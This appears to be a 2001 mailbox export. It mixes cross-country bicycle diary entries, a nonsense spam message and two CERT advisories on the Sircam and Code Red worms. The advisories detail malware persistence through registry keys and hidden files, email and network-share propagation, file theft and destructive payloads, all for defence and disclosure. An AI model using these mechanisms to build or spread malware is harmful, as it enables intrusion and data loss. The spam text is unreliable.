Layover day I picked up my mail in Minneapolis today. Thanks, Maria! I still love mail. Andrew, his father, his brother, and his brother's girlfriend all arrived today after driving a station wagon and a rental truck up from California. It's good to see Andrew again; California seems to be treating him pretty well. I'm shipping out first thing in the morning tomorrow since the forecast is calling for a very hot day. Many thanks to the Howard clan for all the hospitality of the past two days. They provided me a chance to take a much needed rest midway through the ride when the long distances had been wearing me down, for which I am very grateful. It was also good to see Andrew Howard again, who left Cambridge even before I did. Day 26 Date Wednesday July 18, 2001 Distance: 78 miles Moving average speed: 14.1 mph Left at 6:45 AM Arrived at 2:00 PM Overnight in Deluxe Motel, Milaca, MN Latitude 45 d 45 m 47 s N Longitude 93 d 39 m 14 s W Cumulative distance 1964 miles I made an early start in the hope that I could stop riding before the afternoon temperatures got out of control. As it happened, although it was a hot, muggy midwestern day, the winds were largely favorable, coming from the south as usual while I was riding north all day. Therefore, I was able to make pretty good time despite the temperature. I decided to make it a short day anyway, in deference to some lingering fatigue injuries from the first half of the trip. Most of the day I was riding due north out of Minneapolis freelancing my own route along the way until I rejoined the Adventure Cycling route just east of Milaca on county road 2. I'm in another small town motel again tonight, this time the closest reasonable campground was another 53 miles farther along the route. Small town motels always seem to have something a little surprising about them. This one, the Deluxe Motel, has a ancient wooden telephone booth in pristine condition in the lobby. I spent some time examining it while I was waiting for someone to meet me at the front desk (you pick up a telephone there and call for service, the desk isn't manned but the proprietors live within easy walking distance). It no longer has a telephone in it, hasn't for about 15 years, but has been there as long as the current owners have been the owners, about 30 years. It seems like small town motels are the museums of vintage telephone equipment, at least to judge by this one and the one in Wyoming, IA. Day 27 Date: Thursday July 19, 2001 Distance: 81 miles Moving average speed: 14.1 mph Left at 6:30 AM Arrived at 4:30 PM Overnight in Budget Host Motel, Long Prairie, MN Latitude 45 d 58 m 7 s N Longitude 94 d 51 m 58 s W Cumulative distance: 2045 miles I got a good early start this morning, warned by the forecasts that the afternoon would be a long and hot one otherwise. I made very good time because of a strong east wind that blew me along the westbound stretches and didn't interfere too much on the northbound stretches. Things were going pretty well until I reached a point about five miles east of Royalton, MN when suddenly the tailwind stopped and I found myself riding in still air. A change in the wind usually portends a change in the weather, and my suspicion that the still air was simply the turning point as my tailwind metamorphosed into a headwind was verified within another two miles. I resolved to seek shelter in Royalton to wait out the coming storm. I found a city park pavillion in Royalton and began what would become a two hour wait for the weather to clear. In fact, not much of a storm ever did materialize, just an indifferent rain with a few steady moments and alot of sputtering. I probably could have ridden through it without danger, but in the end I was glad I didn't because while I was waiting out the weather in the pavillion I encountered my first westbounder. Brian Higgins flew from Scotland to Boston and picked up the Norther Tier by riding north to meet it where it emerges from Bar Harbor, ME. Brian quit his job, sold his flat in Glasgow and has devoted himself to bicycle touring for the entire year. He had been on the road eight weeks when I waved him down from my pavillion in Royalton. He's riding the Northern Tier to Montana, then planning to divert south and head for San Diego, after which he will head off to New Zealand and Australia to cycle through the northern hemisphere winter. Having already got the Lands' End to John-O-Groats ride under his belt, he will have a fair claim to have cycled the entire English-speaking world. After the rain stopped, we rode together for the rest of the day and are sharing a motel room tonight in Long Prairie tongiht. It appears likely that we will part ways tomorrow as I am trying to make it to Fargo on Saturday before the Post Office closes (there's another mail drop waiting for me there), which is a somewhat more rapid pace than Brian would enjoy. He's riding a leisurely tour and taking days off here and there where opportunities arise, whereas I am more or less on a mission to finish in seven weeks, or at least to meet my dad's train in Whitefish, MT on August 5. After dinner Brian and I took a stroll through Long Prairie and stumbled onto the town's bike shop. It's a bit unusual to find a bike shop in a rural town of 3,000, generally speaking you wouldn't expect there to be enough business to support it, especially in a place like Minnesota which is renowned for its long, brutal winters. Nonetheless, there it was defying the laws of economics, and in front of the shop was a small group of cyclists who had just returned from an afternoon joyride. The proprietors of the Wheelwright Bicycle Shop, a young couple, were among the group, and they invited Brian and me to their home for a beer. Juergen Brunkhorst and his wife Luan followed a complicated path to Long Prairie. It started in Germany, where Luan, originally from eastern Pennsylvania, was a student of the German language and Juergen a surveyor. When they came to the United States, it was initially for the purpose of riding their bicycles from Orlando, Florida to Arizona (the trip was during the winter, hence the choice of a southern route). After spending three months in Arizona, they searched the Internet for American schools looking for a German teacher (Luan has a teaching certificate in addition to her degrees in German). ""It came down to Las Vegas or Long Prairie,"" says Luan. They bought a $300 Chevelle and started driving north to Minnesota, where they have managed to find (or perhaps carve out) a niche for themselves within the small town life in Long Prairie. The lifelong locals seem to have a certain affection for these two cosmopolitans who have moved into town. For example, Juergen had just retrieved the Chevelle from the local garage where some brake work was done, and the tag they had attached to the key to identify it read ""German Dude from the Bike Shop"". That is a completely unambiguous personal identifier in Long Prairie. I immediately took a liking to Juergen and Luan when I saw that they were riding on Brooks saddles (B-66 Champions, to be precise) and Brian and I had quite an enjoyable evening with them swapping war stories from our various bicycle tours. I really admire Juergen for having the guts to open up a bike shop in such an improbable place. He seems to do a pretty steady business in the summertime; although the local population will most likely buy their bicycles at Sears or Wal-Mart, those stores don't do repairs and the bicycles they sell are guaranteed to need them frequently. The fashion among the pre-teen boys in town is for BMX trick bicycles, and the more elaborate the trick the more likely it is that the bicycle will end up on Juergen's stand. Things slow down considerably in winter, so Juergen has tried a few other things to generate income during the off season. Driving a school bus was as terrifying as one might imagine; now he is running a web site with real estate listings for the area (http://www.minnesotareal.com/). Day 28 Date: Friday July 20, 2001 layover day I woke up early with the intention of getting an early start on the day, and I had the bicycle loaded and outside when I noticed it was spitting rain. The weather forecast called for ""severe thunderstorms"", although these things tend to be highly localized around here so the important question was ""where?"" The weather radar showed storms in the northern part of South Dakota moving east, but outside the motel room things didn't look so bad, so I figured I would press on. Brian took a look outside and came to the opposite conclusion, so we said our farewells and I was on my way. About three miles out of town I got up high enough to have a better perspective on what kind of weather was moving in, and I pretty quickly came to the conclusion that Brian was right. It was one of the most threatening skies I have seen so far, the wind was shifting all over the place and lightning was striking not too far away. So I turned back and decided to layover today with Brian after all. I spent a while in the local historical society museum and at the public library (which had public Internet access terminals), hung out for a while with Juergen at the bike shop, and saw a good fraction of what there is to see in Long Prairie. In the end, there wasn't much of a storm at all in Long Prairie (although who's to say what I might have encountered farther down the road), and the skies were clearing by 4 in the afternoon. I've had to shuffle my schedule a bit, since I want to hit Fargo on a day when the post office is open I need to time my arrival for Monday instead of Saturday as originally planned. This means slowing the pace down a bit, and so Brian and I will probably ride together at least as far as Fargo. Juergen and Luan had us over to dinner at their place, we ate outside on a picnic table in their yard. Long Prairie is a town where people wave, every time a neighbor drove by there was a visual exchange of greetings. Then one drove by in a tractor. Although we're in the middle of farm country, seeing a tractor driving through town is still a pretty unusual sight (although it's commonplace on the back country roads we cycle on). By way of explanation, Luan only offers a three-letter acronym: ""DWI"". Apparently this particular gentleman had lost his driver's license for driving while intoxicated, which means he can't legally drive a car on public roads. However, you don't need a driver's license to drive farm machinery on public roads, so that's what he does. I was vaguely reminded of the movie ""Straight Story"". Day 29 Date: Saturday July 21, 2001 Distance: 73 miles Moving average speed: 14.0 mph Left at 8:30 AM Arrived at 3:45 PM Overnight in Twin Lakes Landing Campground, Amor, MN Latitude 46 d 24 m 47 s N Longitude 95 d 46 m 8 s W Cumulative distance 2124 miles (includes 6 miles from false start yesterday) The weater forecast this morning was an exact duplicate of the one yesterday that had kept me in Long Prairie: severe thunderstorms all morning and afternoon. The sky was dark and threatening, the wind from the northwest and quite strong. However, I had resolved not to be fooled again as I was yesterday, and Brian was pretty determined that the time had come to move on. So we did. In the end, it turned out to be a perfectly nice day for cycling, the skies were clear well before noon and we spent a good deal of the day riding north being pushed along by a south wind (the wind gradually returned to its normal pattern -- out of the southwest -- during the course of the day). We decided to split the distance between here and a Minnesota state park that's just outside of Fargo; hopefully we'll get there tomorrow, allowing me to ride through Fargo on Monday during business hours and pick up another mail drop at the post office. In this part of Minnesota, there is a great deal of flexibility in choosing where to end the day; we're travelling through the lake country and the place is lousy with campgrounds. Day 30 Date: Sunday July 22, 2001 Distance: 87 miles Left at 8:30 AM Arrived at 4:00 PM Overnight in Rodeway Inn, Fargo, ND Latitude 46 d 50 m 44 s N Longitude 96 d 47 m 52 s W Cumulative distance: 2211 miles The forecast for today must have looked identical to the ones for the previous two; I'm sure the words ""severe thunderstorms"" were included for good measure. I'm starting to lose the respect for these ""severe thunderstorms"" that I learned in Illinois. At any rate, all three of the past three days have turned out fine for cycling, despite starting out with threatening dark clouds, high winds and some lightning. Today I was briefly caught in a shower, but by and large I managed to dodge all the rain. The horizon is getting low enough so that you can see the rain quite a distance away, but so far the storms have been so localized that the probability of getting hit is still pretty low. I'm sure it must be a source of a great deal of frustration for the farmers in the region who desperately need the rain to hear these forecasts, see the clouds and then get only a trace of rain at any given location. Brian and I left Amor this morning intending to ride together to Buffalo River State Park 16 miles east of Fargo on US 10, but we hadn't got very far into the day before our differences in pace separated us by a good distance. He caught up to me while I was stopped beside the road putting on my foul weather gear and suggested that we should break the link. There was perhaps more than a difference in pace between us, but also a difference of philosophy. Brain is taking a much more leisurely approach to his trip, he said to me ""I'm not really hung up on this completion thing."" I, on the other hand, am very much hung up on the completion thing, and I would like to complete this thing quickly enough to be able to spend some time with friends and family on the west coast and still get home to Boston before the end of August. So we parted friends and as a tailwind picked up (take that you smug eastbounders: your prevailing winds don't always prevail!) I pushed my goal for the day beyond the state park to Fargo, as this should line up the stops in North Dakota so that I can get from Fargo to Minot in three days. All the advice I've heard from eastbounders is that there's no reasons to linger in North Dakota. Just east of Glyndon, MN I encountered more eastbounders on US 10; this time four men, two on single bikes and two on a tandem. They were headed for Rochester, NY from Anacortes, WA. I talked to them for a while about my adventures in upstate New York and gave them a message to tell Brian that I was pushing on for Fargo should they encounter him later in the day. They were planning to spend the night in Cormorant, MN. ",0,1 Pierson Terra ,"aurelia@frank.harvard.edu, fannie@frank.harvard.edu, elisa@frank.harvard.edu, eileen@frank.harvard.edu, bobbi@frank.harvard.edu, sandra@frank.harvard.edu","Mon, 23 Jul 2001 20:52:28 -0500",This diet is going crazy,"on sue it's amoral some tinder may attitude the arrange ",1,0 CERT Advisory ,cert-advisory@cert.org,"Wed, 25 Jul 2001 14:39:58 -0400",CERT Advisory CA-2001-22,"-----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2001-22 W32/Sircam Malicious Code Original release date: July 25, 2001 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * Microsoft Windows (all versions) Overview ""W32/Sircam"" is malicious code that spreads through email and potentially through unprotected network shares. Once the malicious code has been executed on a system, it may reveal or delete sensitive information. As of 10:00EST(GMT-4) Jul 25, 2001 the CERT/CC has received reports of W32/Sircam from over 300 individual sites. I. Description W32/Sircam can infect a machine in one of two ways: * When executed by opening an email attachment containing the malicious code * By copying itself into unprotected network shares Propagation Via Email The virus can appear in an email message written in either English or Spanish with a seemingly random subject line. All known versions of W32/Sircam use the following format in the body of the message: English Hi! How are you? [middle line] See you later. Thanks Spanish Hola como estas ? [middle line] Nos vemos pronto, gracias. Where [middle line] is one of the following: English I send you this file in order to have your advice I hope you like the file that I sendo you I hope you can help me with this file that I send This is the file with the information you ask for Spanish Te mando este archivo para que me des tu punto de vista Espero te guste este archivo que te mando Espero me puedas ayudar con el archivo que te mando Este es el archivo con la informacion que me pediste Users who receive copies of the malicious code through electronic mail might recognize the sender. We encourage users to avoid opening attachments received through electronic mail, regardless of the sender's name, without prior knowledge of the origin of the file or a valid digital signature. The email message will contain an attachment whose name matches the subject line and has a double file extension (e.g. subject.ZIP.BAT or subject.DOC.EXE). The CERT/CC has confirmed reports that the first extension may be .DOC, .XLS, or .ZIP. Anti-virus vendors have referred to additional extensions, including .GIF, .JPG, .JPEG, .MPEG, .MOV, .MPG, .PDF, .PNG, and .PS. The second extension will be .EXE, .COM, .BAT, .PIF, or .LNK. The attached file contains both the malicious code and the contents of a file copied from an infected system. When the attachment is opened, the copied file is extracted to both the %TEMP% folder (usually C:\\WINDOWS\\TEMP) and the Recycled folder on the affected system. The original file is then opened using the appropriate default viewer while the infection process continues in the background. It is possible for the recipient to be tricked into opening this malicious attachment since the file will appear without the .EXE, .BAT, .COM, .LNK, or .PIF extensions if the ""Hide file extensions for known file types"" is enabled in Windows. See IN-2000-07 for additional information on the exploitation of hidden file extensions. W32/Sircam includes its own SMTP client capabilities, which it uses to propagate via email. It determines its recipient list by recursively searching for email addresses contained in all *.wab (Windows Address Book) files in the %SYSTEM% folder. Additionally, it searches the folders referred to by HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Exp lorer\\Shell Folders\\Cache HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Exp lorer\\Shell Folders\\Desktop for files containing email addresses. All addresses found are stored in SC??.DLL or S??.DLL files hidden in the %SYSTEM% folder. W32/Sircam first attempts to send messages using the default email settings for the current user. If the default settings are not present, it appears to use one of the following SMTP relays: * prodigy.net.mx * NetBIOS name for 'MAIL' * mail. (e.g., mail.example.org) * dobleclick.com.mx * enlace.net * goeke.net Propagation Via Network Shares In addition to email-based propagation, analysis by anti-virus vendors suggests that W32/Sircam can spread through unprotected network shares. Unlike the email propagation method, which requires a user to open an attachment to infect the machine, propagation of W32/Sircam via network shares requires no human intervention. If W32/Sircam detects Windows networking shares with write access, it 1. copies itself to \\\\[share]\\Recycled\\SirC32.EXE 2. appends ""@ win\\Recycled\\SirC32.exe"" to AUTOEXEC.BAT If the share contains a Windows folder, it also 3. copies \\\\[share]\\Windows\\rundll32.exe to \\\\[share]\\Windows\\run32.exe 4. copies itself to \\\\[share]\\Windows\\rundll32.exe 5. when virus is executed from rundll32.exe, it calls run32.exe Infection process 1. When installed on a victim machine, W32/Sircam installs a copy of itself in two hidden files: + %SYSTEM%\\SCam32.exe + Recycled\\SirC32.exe Installing in Recycled may hide it from anti-virus software since some do not check this folder by default. Based on external analyses, there is also a probability that W32/Sircam will copy itself to the %SYSTEM% folder as ScMx32.exe. In that case, another copy is created in the folder referred to by HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explor er\\Shell Folders\\Startup (the current user's personal startup folder). The copy created in that location is named Microsoft Internet Office.exe. When the affected user next logs in, this copy of W32/Sircam will be started automatically. 2. The registry entry HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunSe rvices\\Driver32 is set to %SYSTEM%\\SCam32.exe so that W32/Sircam will run automatically at system startup. 3. The registry entry HKEY_CLASSES_ROOT\\exefile\\shell\\open\\command is set to ""C:\\Recycled\\SirC32.exe"" ""%1"" %*"", causing W32/Sircam to execute whenever another executable is run. 4. A new registry entry, HKEY_LOCAL_MACHINE\\Software\\SirCam, is created to store data required by W32/Sircam during execution. 5. W32/Sircam searches for filenames with .DOC, .XLS, .ZIP extensions in the folders referred to by HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersi on\\Explorer\\Shell Folders\\Personal HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersi on\\Explorer\\Shell Folders\\Desktop While the personal folder may vary with configuration, it is often set to \\My Documents or \\Windows\\Profiles\\%username%\\Personal. A list of these files is stored in %SYSTEM%\\scd.dll. 6. W32/Sircam attaches its own binary to selected files it finds and stores the combined file in the Recycled folder. II. Impact W32/Sircam can have a direct impact on both the computer which was infected as well as those with which it communicates over email. * Breaches of confidentiality: The malicious code will at a minimum search through select folders and mail potentially sensitive files. This form of attack is extremely serious since it is one from which it is impossible to recover. Once a file has been publicly distributed, any potentially sensitive information in it cannot be retracted. * Limit Availibility (Denial of Service) + Fill entire hard drive: Based on external analyses, on any given day, there is a probability that it will create a file named C:\\Recycled\\sircam.sys which consumes all free space on the C: drive. A full disk will prevent users from saving files to that drive, and in certain configurations impede system-level tasks (e.g., swapping, printing). + Propagation via mass emailing: W32/Sircam will attempt to propagate by sending itself through email to addresses obtained as described above. This propagation can lead to congestion in mail servers that may prevent them from functioning as expected. NOTE: Since W32/Sircam uses native SMTP routines connecting to pre-defined mail servers, propagation is independent of the mail client software used. * Loss of Integrity: Published reports indicate that on October 16 there is a reasonable probability that W32/Sircam will attempt to recursively delete all files from the drive on which Windows is installed (typically C:). III. Solution Run and Maintain an Anti-Virus Product It is important for users to update their anti-virus software. Most anti-virus software vendors have released updated information, tools, or virus databases to help detect and partially recover from this malicious code. A list of vendor-specific anti-virus information can be found in Appendix A. Many anti-virus packages support automatic updates of virus definitions. We recommend using these automatic updates when available. Exercise Caution When Opening Attachments Exercise caution when receiving email with attachments. Users should never open attachments from an untrusted origin, or ones that appear suspicious in any way. Finally, cryptographic checksums should also be used to validate the integrity of the file. The effects of this class of malicious code are activated only when the file in question is executed. Social engineering is typically employed to trick a recipient into executing the malicious file. The best advice with regard to malicious files is to avoid executing them in the first place. The following tech tip offers suggestions as to how to avoid them: Protecting yourself from Email-borne Viruses and Other Malicious Code During Y2K and Beyond Filter the Email or use a Firewall Sites can use email filtering techniques to delete messages containing subject lines known to contain the malicious code, or they can filter all attachments. Likewise, a firewall or border router can be used to stop the W32/Sircam outbound SMTP connections to mail servers outside of the local network. This filtering strategy will prevent further propagation of the worm from a particular host when the local mail configuration is not used. Appendix A. - Vendor Information Aladdin Knowledge Systems http://www.esafe.com/home/csrt/valerts2.asp?virus_no=10068 Central Command, Inc. http://support.centralcommand.com/cgi-bin/command.cfg/php/endus er/std_adp.php?p_refno=010718-000010 Command Software Systems http://www.commandsoftware.com/virus/sircam.html Computer Associates http://www.cai.com/virusinfo/encyclopedia/descriptions/s/sircam 137216.htm Data Fellows Corp http://www.datafellows.com/v-descs/sircam.shtml McAfee http://vil.mcafee.com/dispVirus.asp?virus_k=99141& Norman Data Defense Systems http://www.norman.com/virus_info/w32_sircam.shtml Panda Software http://www.pandasoftware.es/vernoticia.asp?noticia=987 Proland Software http://www.pspl.com/virus_info/worms/sircam.htm Sophos http://www.sophos.com/virusinfo/analyses/w32sircama.html Symantec http://www.symantec.com/avcenter/venc/data/w32.sircam.worm@mm.h tml Trend Micro http://www.antivirus.com/vinfo/virusencyclo/default5.asp?VName= TROJ_SIRCAM.A You may wish to visit the CERT/CC's Computer Virus Resources Page located at: http://www.cert.org/other_sources/viruses.html ______________________________________________________________________ Authors: Roman Danyliw, Chad Dougherty, Allen Householder ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2001-22.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. 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Revision History July 25, 2001: Initial release -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use Charset: noconv iQCVAwUBO18P/QYcfu8gsZJZAQH2XAP/dFPRLX4MGRYxKSc67J+hRclhijxGIFn+ Jo7M4jWb2GeImjxdzRO5bbqGHUfV7Jm7gjXRdIdBTJuK0xIN2tdGjdp3/kEbaWE7 oqise1azNitAWSn2pEaVXidHyY3wm3ed5XHKZmShU/5PXGoa/avhnXqRrv7p/yup hBWgsoeBiLI= =WuU+ -----END PGP SIGNATURE-----",0,1 CERT Advisory ,cert-advisory@cert.org,"Thu, 26 Jul 2001 21:26:23 -0400",CERT Advisory CA-2001-23," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2001-23 Continued Threat of the ""Code Red"" Worm Original release date: July 26, 2001 Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * Microsoft Windows NT 4.0 with IIS 4.0 or IIS 5.0 enabled and Index Server 2.0 installed * Windows 2000 with IIS 4.0 or IIS 5.0 enabled and Indexing services installed * Cisco CallManager, Unity Server, uOne, ICS7750, Building Broadband Service Manager (these systems run IIS) * Unpatched Cisco 600 series DSL routers Overview Since around July 13, 2001, at least two variants of the self-propagating malicious code ""Code Red"" have been attacking hosts on the Internet (see CA-2001-19 ""Code Red"" Worm Exploiting Buffer Overflow In IIS Indexing Service DLL). Different organizations who have analyzed ""Code Red"" have reached different conclusions about the behavior of infected machines when their system clocks roll over to the next month. We believe the worm will begin propagating again on August 1, 2001 0:00 GMT, and there is evidence that tens of thousands of systems are already infected or vulnerable to re-infection at that time. Because the worm propagates very quickly, it is likely that nearly all vulnerable systems will be compromised by August 2, 2001. The CERT/CC has received reports indicating that at least 280,000 hosts were compromised in the first wave. I. Description The ""Code Red"" worm is malicious self-propagating code that exploits Microsoft Internet Information Server (IIS)-enabled systems susceptible to the vulnerability described in CA-2001-13 Buffer Overflow In IIS Indexing Service DLL. Its activity on a compromised machine is time senstive; different activity occurs based on the date (day of the month) of the system clock. The CERT/CC is aware of at least two major variants of the worm, each of which exhibits the following pattern of behavior: * Propagation mode (from the 1st - 19th of the month): The infected host will attempt to connect to TCP port 80 of randomly chosen IP addresses in order to further propagate the worm. Depending on the configuration of the host that receives this request, there are varied consequences. + Unpatched IIS 4.0 and 5.0 servers with Indexing service installed will almost certainly be compromised by the ""Code Red"" worm. In the earlier variant of the worm, victim hosts with a default language of English experienced a defacement on all pages requested from the web server. Hosts infected with the later variant did not experience any change in the served content. + Unpatched Cisco 600-series DSL routers will process the HTTP request and trigger an unrelated vulnerability that causes the router to stop forwarding packets. [http://www.cisco.com/warp/public/707/cisco-code-red-worm-pub .shtml] + Systems not running IIS, but with an HTTP server listening on TCP port 80 will probably accept the HTTP request, return with an ""HTTP 400 Bad Request"" message, and potentially log this request in an access log. * Flood mode (from the 20th - 27th of the month): A packet-flooding denial-of-service attack will be launched against a specific IP address embedded in the code. * Termination (after the 27th day): The worm remains in memory but is otherwise inactive. Detailed technical analysis of the ""Code Red"" worm can be found in http://www.cert.org/advisories/CA-2001-19.html II. Impact Data reported to the CERT/CC indicates that the ""Code Red"" worm infected more than 250,000 sytems in just 9 hours. Figure 1 illustrates the activity between 6:00 AM EDT and 8:00 PM EDT on July 19, 2001. [See Figure 1 at http://www.cert.org/advisories/CA-2001-23.html] NOTE: After 8:00 PM EDT on July 19 (0:00 GMT July 20), the worm switched into flood mode on most infected systems, so the number of infected systems remained fairly constant after that time. Our analysis estimates that starting with a single infected host, the time required to infect all vulnerable IIS servers with this worm could be less than 18 hours. Since the worm is programmed to continue propagating for the first 19 days of the month, widespread denial of service may result due to heavy scan traffic. As reported in CA-2001-19, infected systems may experience web site defacement as well as performance degradation as a result of the propagating activity of this worm. This degradation can become quite severe, and in fact may cause some services to stop entirely, since it is possible for a machine to be infected with multiple copies of the worm simultaneously. Furthermore, it is important to note that the IIS indexing vulnerability that the ""Code Red"" worm exploits can be used to execute arbitrary code in the Local System security context. This level of privilege effectively gives an attacker complete control of the infected system. III. Solutions The CERT/CC encourages all Internet sites to review CA-2001-13 and ensure workarounds or patches have been applied on all affected hosts on your network. If you believe a host under your control has been compromised, you may wish to refer to http://www.cert.org/tech_tips/win-UNIX-system_compromise.html Known versions of the worm reside entirely in memory; therefore, a reboot of the machine will purge the worm from the system. However, due to the rapid propagation of the worm, the likelihood of re-infection is quite high. Taking the system offline and applying the vendor patch will eliminate the vulnerability exploited by the ""Code Red"" worm. IV. Good Practices Consistent with the security best-practice of denying all network traffic and only selectively allowing that which is required, ingress and egress filtering should be implemented at the network edge. Likewise, controls must be in place to ensure that all software used on a network is properly maintained. Ingress filtering Ingress filtering manages the flow of traffic as it enters a network under your administrative control. Servers are typically the only machines that need to accept inbound connections from the public Internet. In the network usage policy of many sites, there are few reasons for external hosts to initiate inbound connections to machines that provide no public services. Thus, ingress filtering should be performed at the border to prohibit externally initiated inbound connections to non-authortized services. In this fashion, the effectiveness of many intruder scanning techniques can be dramatically reduced. With ""Code Red,"" ingress filtering will prevent instances of the worm outside of your network from infecting machines in the local network that are not explicitly authorized to provide public web services. Egress filtering Egress filtering manages the flow of traffic as it leaves a network under your administrative control. There is typically limited need for machines providing public services to initiate outbound connections to the Internet. In the case of ""Code Red,"" employing egress filtering will prevent compromised IIS servers on your network from further propagating the worm. Installing new software with the latest patches When installing an operating system or application on a host for the first time, it is insufficient to merely use the install media. Vulnerabilities are often discovered after the software becomes widely distributed. Thus, prior to connecting this host to the network, the latest security patches for the software should be obtained from the vendor and applied. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. When vendors report new information to the CERT/CC, we update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Cisco Systems Cisco has published a security advisory describing this vulnerability at http://www.cisco.com/warp/public/707/cisco-code-red-worm-pub.sh tml Microsoft Corporation The following document regarding the vulnerability exploited by the ""Code Red"" worm is available from Microsoft: http://www.microsoft.com/technet/security/bulletin/MS01-033.asp ______________________________________________________________________ Author(s): Roman Danyliw and Allen Householder ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2001-23.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. 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Revision History Jul 26, 2001: Initial release -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use Charset: noconv iQCVAwUBO2DBMwYcfu8gsZJZAQH8+AP8DjgCfr3pdIA4YeMG+B9F3Ko2iL108d9f YA3662PWBMFQcQAhAaAd7+iAUOPmVSENZ8fqc6MGt9guis72J4kmGjBBUoKIqQ3Z foV9TZUyZSi56e+q/GEq7hVtTn23MYh/n4tttvhnmrRqKe6biGwjS3PMu11KZqeK RBlRqNc4ItA= =hvKD -----END PGP SIGNATURE----- ",0,1 Chip Coldwell ,bike-diary@frank.harvard.edu,"Mon, 23 Jul 2001 21:09:00 -0400",Bike Diary #10,"Day 31 Date: Monday July 23, 2001 Distance: 99 miles Moving average speed: 11.2 mph Left at 8:00 AM Arrived at 5:30 PM Overnight in Wonder Rest Motel and Trailer Park, Cooperstown, ND Latitude 47 d 26 m 32 s N Longitude 98 d 7 m 24 s W Cumulative distance: 2310 miles Today after picking up my mail in Fargo (thanks, Maria!), I took my first bite out of North Dakota. I should mention that yesterday when I crossed the North Dakota border I was once again deprived of the opportunity to take a photo of my bicycle leaning against a ""Welcome to ..."" sign since Fargo, ND and Moorhead, MN have basically merged into one city and like an old married couple it appears that they don't bother to welcome each other anymore. The morning went smoothly and just about as expected. Almost as soon as you leave Fargo you are on the great plains, and riding the great plains is like riding a treadmill. While the route parallels the railroad, you can play the game of spotting a grain elevator on the horizion and watching as it imperceptibly gets closer, but pretty soon the route leaves the railroad and you are deprived of any indication that you are making progress except for the odometer. The horizon is low and you can often see the water tower in the next town five or six miles before you get there. You have to disabuse yourself of the notion that just because you can see a place you must be close to it: at 12 mph it could take a half hour to go from first sighting to arrival. My goal for the great plains was to keep the average speed around 12.5 mph. That way eight hours of riding would carry me 100 miles and still leave an hour or two for breaks or in case something interesting came along. It's a pace I can manage pretty easily even in moderately difficult conditions, but as you can see from the header above I didn't come close today. The reason is the wind. I thought I had fought headwinds in Indiana and Illinois, but back then I didn't know what a headwind was. Around noon a wind started picking up coming directly from the west; by 2 PM it was up to a steady 25-30 mph, right in my face. In the great plains the wind is relentless. There's no shelter from it. and it has half a continent across which it can blow freely without obstruction. A strong headwind is very demoralizing. No matter how hard you work you can't make any time, and unlike climbing a hill, you won't get anything back. It's a widely fluctuating load as the wind gusts up and down, so it's hard to set a steady pace. If the wind has any component perpendicular to your direction of travel it will blow you off course forcing you to make constant corrections. There's no helping it: the wind will slow your progress to a creep. I had in mind to go another 25 miles today, but at 5:30 PM the wind was at full strength and the last 10 miles had taken me an hour and a half. At that rate, there simply wasn't enough daylight left to go another 25 miles and set up camp once I got there. As I was slogging along, I kept thinking that it is inconceivable that our country would seriously consider drilling for oil in the Arctic National Wildlife Refuge while thousands of gigawatts blow across North Dakota untapped. It's interesting that the wind reaches its full strength in the early afternoon at exactly the same time when the demand for electricity is at its peak. I hope someday somebody in the utility business takes advantage of this happy coincidence. Day 32 Date: Tuesday July 24, 2001 Distance: 148 miles Moving average speed: 15.5 mph Left at 7:00 AM Arrived at 7:00 PM Overnight in Hillman Inn and Campground, Rugby, ND Latitude 48 d 21 m 20 s N Longitude 100 d 0 m 7 s W Cumulative distance: 2458 miles I made a point of getting an early start today so that I could get as much riding in before the wind came up in the afternoon. The route out of Cooperstown, ND starts out due west and then turns north on state road 1, and when I reached the northward stretch I started feeling pretty sluggish. There's a small town just off of SR1 called Binford, reaching it meant a detouring a mile off the route, but if there were coffee and pancakes in Binford then the extra distance would be well worth it. The cafe in Binford had a notebook for cyclists passing through to write their name, departure point, destination and about a page describing their trip. Most of them wrote notes with recommendations for cyclists going in the opposite direction, all of them praised the friendliness of the locals and the pancakes in the cafe. The notebook went all the way back to 1995. It was interesting to see the wide variation in how cyclists were reacting to the experience of riding across the US. There was the resignation of an eastbounder reaching Binford late in September and realizing that there was no way she could finish before the weather in the mountain passes would get too cold. There was the euphoria of an eastbound couple finishing up a round-the-world tour and claiming to average 100 miles per day (although the 1800 miles from Seattle had taken them 22 days). There was one who was positively suicidal. Numerous eastbounders complained that they hadn't had any tailwinds yet. One eastbounder in 1995 suggested taking US Route 2 from Devil's Lake to Rugby to shave a little distance off the Adventure Cycling route (which picks up US 2 west of Rugby). This turned out to be very bad advice. I spent quite a while in Binford reading all the entries in the notebook and taking copious notes on their suggestions. When I finally got going again the wind had already come up, but much to my surprise and delight it was a 